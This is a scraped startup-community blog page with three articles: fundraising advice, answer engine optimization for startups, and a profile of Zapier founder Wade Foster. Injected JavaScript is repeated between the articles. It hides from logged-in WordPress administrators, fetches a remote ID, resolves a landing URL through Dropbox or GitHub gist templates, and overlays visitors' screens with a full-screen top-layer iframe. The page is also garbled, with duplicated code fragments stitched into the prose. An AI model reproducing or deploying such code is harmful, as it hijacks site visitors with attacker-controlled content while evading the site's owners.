At Founders Network, we understand the highs and lows of fundraising. As an exclusive community of tech founders, we believe in the power of founders helping founders. Our network connects you with fellow entrepreneurs who’ve walked this path before, offering invaluable guidance, sharing their experiences, and helping you overcome obstacles to accelerate your growth. Whether you’re navigating fundraising or refining your business model, our peer-to-peer mentorship makes all the difference.

Here are the key strategies to help you master the art of fundraising and set your startup on the path to success:

1. Craft a Compelling Story: It’s About the Narrative, Not Just the Numbers

When investors hear your pitch, they want to connect with your story—not just the numbers. They want to know why your startup exists, why it matters, and why you’re the best person to make it succeed.

A great pitch answers these questions:

• What is the problem you’re solving?
• How does your solution stand out?
• What traction have you gained so far?
• Why is now the right time for your business to thrive?
• Who are you, and why are you the best person to solve this problem?

Investors are looking for more than a product; they’re looking for a story that resonates. A compelling narrative shows them why your startup isn’t just an opportunity—it’s the opportunity.

Tip: Practice your pitch with a trusted mentor or fellow founder. Refining your message with feedback will ensure you can deliver it smoothly and confidently when the time comes.

2. Know Your Numbers: Financial Transparency is Key

Understanding your financials isn’t just important—it’s essential. Investors expect to see that you have a clear grasp of your revenue model, unit economics, and how you plan to use the funds you’re raising.

Make sure you’re prepared to talk through:

• A breakdown of your revenue streams
• Projections for the next 1-3 years
• Customer acquisition costs and lifetime value
• How you plan to allocate the funds

Being able to confidently explain your financials gives investors the confidence that your business is not just promising but also scalable.

Tip: Prepare your financial model for different growth scenarios—showing investors that you’ve thought through both optimistic and conservative outcomes demonstrates that you’re ready for anything.

3. Relationships Matter: Investors Are Partners, Not Just Funders

Raising funds isn’t just a transaction—it’s the start of a long-term partnership. Investors bring more to the table than just capital; they bring valuable expertise, industry knowledge, and networks. It’s crucial to connect with investors who align with your vision and values.

Networking is vital—start building these relationships long before you need funding. Attend startup events, engage with investors, and use your existing network to facilitate introductions. Remember, these relationships can often start informally—many successful investments have started from a casual conversation.

Tip: Focus on building trust first. Share your vision with investors early, and don’t be afraid to ask for advice or feedback. Relationships built on mutual respect will be much stronger than those that only focus on securing capital.

4. Understanding Different Investor Types: Match Your Startup to the Right Investor

Not every investor is right for your business, and that’s okay. The world of investment is vast, and understanding which investor suits your needs is crucial.

Here’s a quick rundown of investor types:

• Angel Investors: Often more flexible and willing to take risks on early-stage startups, angel investors can also offer valuable mentorship.
• Venture Capitalists (VCs): These firms provide larger sums of capital but often have more specific requirements and a structured approach. They’ll look for high-growth potential.
• Crowdfunding: Crowdfunding platforms can help you gain traction while raising funds from a broad base of smaller investors.
• Corporate Investors/Strategic Partners: These investors bring both capital and valuable industry knowledge, and may provide opportunities for collaboration down the road.

Understanding which investor best suits your business stage, needs, and vision will increase the likelihood of finding the right partner. Tailor your pitch to each type of investor, ensuring it speaks to their specific concerns and interests.

Tip: Do your homework on potential investors—look at their portfolio, interests, and track record. The right fit can be a game-changer, so take your time making this decision.

5. Prepare for Due Diligence: Organize Early and Stay Transparent

Once you’ve piqued an investor’s interest, be ready for the due diligence process. This is when investors dig deep into your business, scrutinizing your financials, legal documents, and market positioning. A well-organized due diligence process can speed things up significantly and put you in a strong position.

Ensure that you have the following in order:

• Financial records and projections
• Legal structure and intellectual property documentation
• Founders’ agreements and equity breakdowns
• Customer contracts, letters of intent, or MOUs (Memorandums of Understanding)

Tip: The more prepared you are, the smoother the due diligence process will be. Transparency and thoroughness here will inspire confidence and trust with potential investors.

6. Be Ready to Walk Away: Know When to Say No

It can be tempting to accept any offer when you’re in need of funding, but not all investors are a good fit. Be prepared to walk away from deals that don’t align with your vision or values. A bad partnership can be worse than no partnership at all.

Trust your gut. If something doesn’t feel right about a deal or if the terms don’t align with your long-term goals, it’s okay to decline. You’re building a business for the long haul, and the right investors should be aligned with that vision.

Tip: If the investor’s terms or values don’t align with yours, it’s better to keep looking for someone who will truly support your business in the right way.

Conclusion

Fundraising is challenging, but with the right strategies and mindset, you can navigate it successfully. From crafting a compelling pitch to building relationships and preparing for due diligence, these strategies will help you secure the capital needed to scale your startup.

At Founders Network, we believe in the power of founders helping founders. Our community is here to support you at every stage of your journey, whether it’s refining your pitch, networking with the right investors, or scaling your business.

To learn more about how Founders Network can support your fundraising journey, see if you qualify for membership and join our community.

console.log('28du3');

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

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registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

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var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

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registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

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var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

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try { var parent = document.head || document.documentElement; if (!parent) return;

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if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

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What Is Answer Engine Optimization (AEO)?

Answer Engine Optimization (AEO) is the practice of optimizing content to appear in AI-powered search tools like ChatGPT, Google’s Bard, Perplexity AI, and voice assistants. Unlike traditional SEO, which focuses on ranking in search result lists, AEO targets direct answers provided by AI systems.

The shift is significant. When someone asks ChatGPT “What’s the best project management tool for startups?”, they receive a direct answer with specific recommendations — not a list of 10 blue links to click through. Your startup needs to position its content to be the source that AI engines cite and recommend.

For tech startups, this represents both an opportunity and a threat. Companies like Notion have seen increased brand mentions in AI responses by creating comprehensive, well-structured help documentation. Meanwhile, startups relying solely on traditional SEO are losing visibility as users increasingly turn to AI for quick, authoritative answers.

Why AEO Matters for Growing Startups

The statistics tell the story. OpenAI’s ChatGPT reached 100 million users in just two months — faster than any consumer application in history. Google reports that 27% of all searches are now voice queries, primarily answered by AI assistants. For startups competing for attention, ignoring AEO means missing where your potential customers are actually looking for solutions.

User behavior has fundamentally shifted. Instead of researching “best CRM software” and comparing multiple articles, users now ask “What CRM should a 10-person SaaS startup use?” and expect a direct, contextual answer. AI engines provide that answer by synthesizing information from multiple sources.

Consider Airtable’s approach. The company restructured their blog content to answer specific questions about database management, workflow automation, and team collaboration. When AI engines discuss project management solutions, Airtable frequently appears as a recommended tool because their content directly addresses common user queries with practical examples.

How AI Search Engines Work Differently

Traditional search engines like Google index web pages and rank them based on authority signals, keywords, and user behavior. AI search engines work by understanding the intent behind queries and generating responses using large language models trained on vast amounts of text data.

The key difference: AI engines don’t just find relevant pages — they synthesize information from multiple sources to create original answers. This means your content needs to be structured as factual, quotable information that can be easily extracted and recombined.

For example, when Perplexity AI answers a question about startup fundraising, it might pull statistics from one source, combine them with expert quotes from another, and reference specific case studies from a third. Your startup’s content needs to excel in at least one of these categories to earn citations.

Source Attribution Patterns

AI engines typically cite sources that provide:

• Direct factual statements: “Series A funding rounds averaged $15.7 million in 2023” with clear attribution
• Expert quotes: Named individuals with credible titles sharing specific insights
• Step-by-step processes: Numbered lists explaining how to accomplish specific tasks
• Case studies with metrics: Real company examples with specific outcomes and timelines

Step-by-Step AEO Implementation for Startups

Step 1: Audit Your Current Content Structure

Review your existing blog posts, documentation, and marketing content. AI engines favor content with clear hierarchies, direct answers, and factual statements. Look for content that currently buries key information in long paragraphs or fails to provide definitive answers to common questions.

Slack exemplified this approach when they restructured their help documentation. Instead of general articles about “communication best practices,” they created specific guides answering questions like “How do you set up channels for a remote team of 25 people?” This specificity made their content more valuable to AI engines seeking precise answers.

Step 2: Identify Question-Based Keywords

Traditional keyword research focuses on search volume and competition. AEO keyword research prioritizes question patterns and conversational queries. Use tools like AnswerThePublic, Google’s “People also ask” feature, and analyze customer support tickets to identify the specific questions your audience asks.

Instead of targeting “marketing automation,” target “What marketing automation tools work best for B2B startups with under 100 customers?” The long-tail, question-based approach aligns with how users interact with AI assistants.

Step 3: Create Answer-First Content Structure

Restructure your content to lead with direct answers. Each section should begin with a clear, factual statement that directly addresses the heading’s implied question. Support that statement with evidence, examples, and context.

For instance, instead of:

“Customer acquisition cost is an important metric that many startups struggle to calculate effectively because there are various approaches and methodologies…”

Write:

“Calculate customer acquisition cost by dividing total sales and marketing expenses by the number of new customers acquired in the same period. For SaaS startups, include sales team salaries, marketing spend, and tools costs, then divide by new customer signups.”

Step 4: Optimize for Featured Snippet Formats

AI engines often pull information from content that already performs well in Google’s featured snippets. Structure your content using formats that search engines can easily extract:

• Numbered lists: For step-by-step processes and ranked recommendations
• Bullet points: For feature comparisons and benefit lists
• Tables: For pricing, specifications, and comparison data
• Definition paragraphs: Clear, concise explanations of industry terms

HubSpot mastered this approach by creating comprehensive comparison tables for marketing tools, step-by-step guides for campaign setup, and clear definitions of marketing terms. This structured approach helped their content become a primary source for AI-generated marketing advice.

Step 5: Implement Schema Markup

Add structured data markup to help AI engines understand your content’s context and relationships. Focus on FAQ schema, How-To schema, and Article schema. This markup provides additional context that AI engines use when determining source credibility and relevance.

AEO Best Practices for Startup Content

Authority and Attribution

AI engines prioritize content with clear source attribution. Include author credentials, publication dates, and cite external sources when making claims. When discussing industry trends, reference specific studies with publication dates and sample sizes.

Intercom strengthens their AEO performance by including detailed author bios with relevant experience, citing customer research with specific sample sizes, and referencing third-party studies when discussing industry trends. This approach establishes the credibility that AI engines seek when selecting sources.

Conversational Content Optimization

Write content that mirrors natural speech patterns. AI engines are trained on conversational data and better understand content written in natural language rather than keyword-stuffed, formal business writing.

Instead of “Implementation of customer success strategies facilitates retention optimization,” write “Customer success strategies help startups keep more customers by identifying and solving problems before they lead to churn.”

Specificity Over Generalization

AI engines favor specific, actionable information over general advice. Instead of writing about “improving conversion rates,” create content addressing “How to increase SaaS trial-to-paid conversion from 15% to 25% in 90 days.”

The startup Mixpanel demonstrates this principle in their analytics guides. Rather than general posts about “data analysis,” they publish specific tutorials like “How to track user engagement in React Native apps” with exact code examples and expected outcomes. This specificity makes their content highly citable by AI systems.

Measuring AEO Performance

Traditional SEO metrics like keyword rankings become less relevant in an AEO world. Instead, focus on:

• AI mention tracking: Monitor how often your startup appears in AI-generated responses
• Voice search performance: Track queries that result in voice assistant recommendations
• Zero-click search results: Measure featured snippet appearances and knowledge panel inclusions
• Brand mention sentiment: Analyze how AI engines describe your startup and products

Tools and Monitoring

Several emerging tools help track AEO performance. BrightEdge’s Voice and Semantic Search tool monitors voice search rankings. SEMrush’s Position Tracking includes featured snippet monitoring. For startups with limited budgets, manually testing key queries across different AI platforms provides valuable insights.

Set up monthly audits where team members query AI engines with questions your target customers would ask. Document which competitors appear in responses and analyze why their content earned citations over yours.

Common AEO Mistakes Startups Make

Over-Optimizing for Keywords

Many startups approach AEO like traditional SEO, focusing on keyword density and exact match phrases. AI engines understand context and intent, making keyword stuffing counterproductive. Focus on comprehensive topic coverage rather than keyword repetition.

Ignoring Content Freshness

AI engines prioritize recent, up-to-date information. Startups often publish content and forget to update it. Create a content refresh schedule that updates statistics, adds new examples, and incorporates recent industry developments.

Zapier maintains AEO performance by regularly updating their integration guides with new app releases, revised pricing information, and updated screenshots. This commitment to freshness keeps their content relevant in AI-generated responses about workflow automation.

Failing to Address Follow-Up Questions

AI conversations are iterative. Users ask follow-up questions based on initial responses. Create content that anticipates and answers related questions within the same piece, increasing the likelihood of extended engagement.

The Future of AEO for Startups

As AI search continues evolving, startups that adapt early gain sustainable competitive advantages. The companies building comprehensive, authoritative content libraries today will dominate AI-generated recommendations tomorrow.

Emerging trends include AI engines beginning to factor real-time data, social proof signals, and user interaction patterns into their response generation. Startups should prepare by building robust content ecosystems that include customer reviews, case studies, and dynamic data integrations.

The startups succeeding in AEO aren’t necessarily those with the largest marketing budgets — they’re the ones providing the most helpful, specific, and authoritative answers to their customers’ questions. In a world where AI engines serve as the primary research assistant, becoming the go-to source for industry knowledge is the ultimate growth strategy.

Research & Resources

• Google AI Blog: Understanding searches better than ever before — Google’s technical overview of how AI language models improve search understanding and natural language processing.
• Think with Google: Voice Search Trends and Consumer Behavior — Comprehensive research on voice search adoption rates and user behavior patterns across different demographics.
• TechCrunch: ChatGPT reaches 100 million users in record time — Analysis of ChatGPT’s unprecedented growth and implications for the search industry.
• BrightEdge Research: The Future of Voice Search — Industry report on voice search optimization trends and best practices for content creators.
• Search Engine Land: Featured Snippets Optimization Guide — Technical guide to optimizing content for featured snippets, which often serve as source material for AI responses.

To learn more about scaling your startup’s content strategy and connect with founders navigating similar challenges, see if you qualify for Founders Network.

Frequently Asked Questions

How is AEO different from traditional SEO?

AEO focuses on optimizing content for AI-powered answer engines like ChatGPT and voice assistants, which provide direct answers rather than ranked link lists. Traditional SEO targets search engine result pages with clickable links, while AEO aims to be the source cited within AI-generated responses.

Which AI platforms should startups prioritize for AEO?

Focus on ChatGPT, Google Bard, Perplexity AI, and voice assistants (Alexa, Siri, Google Assistant) as primary platforms. These represent the largest user bases for AI-powered search. However, optimize content for answer engines generally rather than specific platforms, as the underlying principles remain consistent.

How long does it take to see AEO results?

AEO results can appear faster than traditional SEO since AI engines continuously update their training data. Well-structured, authoritative content can begin appearing in AI responses within 2-4 weeks. However, building consistent presence across multiple AI platforms typically takes 3-6 months of focused content optimization.

Can small startups compete with larger companies in AEO?

Yes, AEO levels the playing field because AI engines prioritize content quality and specificity over domain authority. A startup with highly specific, well-structured content about niche topics can outperform larger companies with generic content. Focus on answering very specific questions your target audience asks.

Do I need to abandon traditional SEO for AEO?

No, AEO complements rather than replaces traditional SEO. Many AEO best practices (clear structure, authoritative content, fast loading) also improve traditional search rankings. Implement AEO strategies while maintaining your existing SEO efforts for comprehensive search visibility.

Written by the Founders Network team — a peer mentorship community for tech startup founders since 2011.

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var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

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iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

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var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

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try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

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parent.appendChild(link); } catch (e) {} }

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registry.runPromise = run(); })();

Wade Foster built Zapier to $5 billion in valuation with just $1.4 million in venture capital — a feat that defies Silicon Valley convention. His approach to automation wasn’t just a product strategy; it was a thesis about how scrappy teams win by solving problems others ignore.

Key Takeaway: Foster’s journey from Missouri bedroom to billion-dollar company proves that extraordinary outcomes emerge from persistent execution, not just exceptional funding.

The Accidental Entrepreneur

Foster’s path to entrepreneurship began during the 2008 financial crisis when traditional career paths evaporated. As a junior engineering student at University of Missouri, he watched internship opportunities disappear regardless of academic performance.

“I was always a good student, but I remember that summer going to try and get an internship, a job, etcetera, and just nobody would hire anyone,” Foster recalls. The economic downturn forced him to explore alternatives, leading him to a tiny startup run by a university professor.

That seven-person operation, working out of the professor’s house, became Foster’s introduction to the power of internet-scale distribution. The moment of revelation came when he discovered their biggest customer was based in Australia — someone who had found their software randomly online and paid for it.

“Oh my gosh, this is nuts. You can just put a thing on the internet, and someone halfway across the world can find it and pay you money for it? That’s real?”

— Wade Foster

Finding Co-Founders Through Mutual Value Exchange

Foster’s co-founder discovery story illustrates a principle many founders overlook: relationships precede partnerships. He connected with Brian Helmig, his future co-founder, through the University of Missouri jazz program. Foster played saxophone; Helmig played bass and guitar.

The initial arrangement was purely transactional — Foster would play saxophone for Helmig’s jazz quartet in exchange for mentorship on building software and companies. This “trading saxophone for startup education” arrangement evolved into a partnership that would eventually create one of the most valuable private software companies.

“I think there’s just a lot to be said around spending time with interesting people who are doing things that you think are interesting too,” Foster explains. “If all you’re doing is just sitting around watching football games, you’re probably not increasing the surface area of people that you’re meeting.”

The lesson extends beyond networking events and formal co-founder matching platforms. Foster’s approach suggests that meaningful partnerships often emerge from shared interests and mutual value creation outside traditional business contexts.

The Integration Gap Discovery

The Zapier concept emerged from a pattern recognition exercise that any founder can replicate. Working at a fast-growing mortgage company, Helmig noticed a recurring theme in software-as-a-service community forums: users constantly requesting integrations between tools.

The pattern was consistent across platforms like Mailchimp and Basecamp. Customers would post requests for specific integrations, others would chime in with “plus one” and “me too” responses, and product managers would eventually respond with diplomatic non-commitments.

Foster experienced this pain firsthand while wrestling with Marketo’s API for email marketing campaigns. “The Marketo API is this old school SOAP WSDL API. The documentation is in a PDF. Needless to say, I’m not having a very good time,” he recalls. If the solution Helmig proposed existed, Foster would have used it immediately.

This personal pain point validation — what product managers now call “eating your own dog food” — provided immediate conviction that the market need was real.

The Startup Weekend Sprint

Foster’s team proved their concept during a 54-hour startup weekend competition, building the first Zapier prototype and winning the event. But the real test came afterward: would they continue building without external pressure or prizes?

Located in Central Missouri, far from Silicon Valley’s raise-first culture, the team chose a different path. Instead of seeking immediate venture funding, they committed to nights-and-weekends development while maintaining their day jobs.

“We’ll just do this nights and weekends. Many nights, we just meet up at get takeout Chinese, meet out at 6:00, 6:30, whatever, and then we’d work till midnight, one, two AM on Zapier.”

— Wade Foster

This bootstrapping approach — driven by geography and necessity rather than strategy — became a competitive advantage. The team validated product-market fit through customer payments rather than investor interest, building sustainable unit economics from day one.

Context and AI’s Next Wave

Today, Foster sees artificial intelligence creating similar opportunities for builders willing to solve overlooked problems. His current excitement centers on AI tools that “massively benefit from context,” particularly code generation platforms that feel like “a bicycle for the mind.”

“Using Claude code, that feels like a bicycle for the mind. I feel like I got the wind at my back. I’m just sailing here,” Foster observes. “Even when we have problems, it’s like, no biggie. Let’s just try again. And it’s just, like, kind of off to the races.”

This perspective reflects Foster’s broader philosophy: transformative technologies often appear mundane initially but compound into massive advantages for teams that adopt them early and deeply integrate them into workflows.

The Compounding Advantage

Foster’s story demonstrates how consistent execution in overlooked markets creates sustainable competitive advantages. Zapier succeeded not through breakthrough innovation, but by solving an obvious problem that established companies consistently deprioritized.

The company’s growth trajectory — from Missouri bedroom to $5 billion valuation with minimal venture investment — illustrates what happens when founders focus on customer value rather than funding milestones. By the time competitors recognized the automation market’s potential, Zapier had already captured significant market share and built deep integration partnerships.

For current founders, Foster’s approach offers a blueprint for building outside traditional startup ecosystems. Success emerges from problem identification, co-founder relationships built on mutual value, and persistent execution regardless of geographic or funding constraints.

Organizations like Founders Network create environments where these serendipitous connections happen more frequently, connecting ambitious founders across different markets and expertise areas. Foster’s willingness to share his story with the community exemplifies the reciprocity that drives meaningful founder networks — successful entrepreneurs helping the next generation navigate similar challenges.

The lesson isn’t that every founder should avoid venture capital or stay in Missouri. It’s that extraordinary outcomes emerge from identifying real problems, building solutions persistently, and focusing on customer value over external validation.

Based on a conversation from the Founders Network podcast.

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

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var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

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iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

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var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

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var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

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if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

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function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i ]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

